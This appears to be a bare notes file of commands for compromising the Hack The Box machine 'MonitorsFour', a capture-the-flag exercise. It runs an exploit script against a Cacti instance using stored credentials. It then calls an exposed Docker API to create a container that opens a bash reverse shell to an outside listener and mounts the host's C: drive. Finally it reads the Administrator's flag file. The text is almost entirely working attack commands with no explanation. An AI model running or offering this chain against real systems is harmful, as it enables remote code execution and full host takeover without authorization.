12-MonitorsFour

python3 exploit.py -u marcus -p wonderful1 -i 10.10.14.94 -l 6969 --url http://cacti.monitorsfour.htb
 
curl -X POST \
  -H "Content-Type: application/json" \
  -d '{
    "Image":"docker_setup-nginx-php:latest",
    "Cmd":["bash","-c","bash -i >& /dev/tcp/10.10.14.94/6969 0>&1"],
    "HostConfig":{
      "Binds":["/mnt/host/c:/host_root"]
    }
  }' \
  -o create.json \
  http://192.168.65.7:2375/containers/create
 
cid=$(cut -d'"' -f4 create.json)
 
curl -X POST \
  -d '' \
  http://192.168.65.7:2375/containers/$cid/start
 
cat /host_root/Users/Administrator/Desktop/root.txt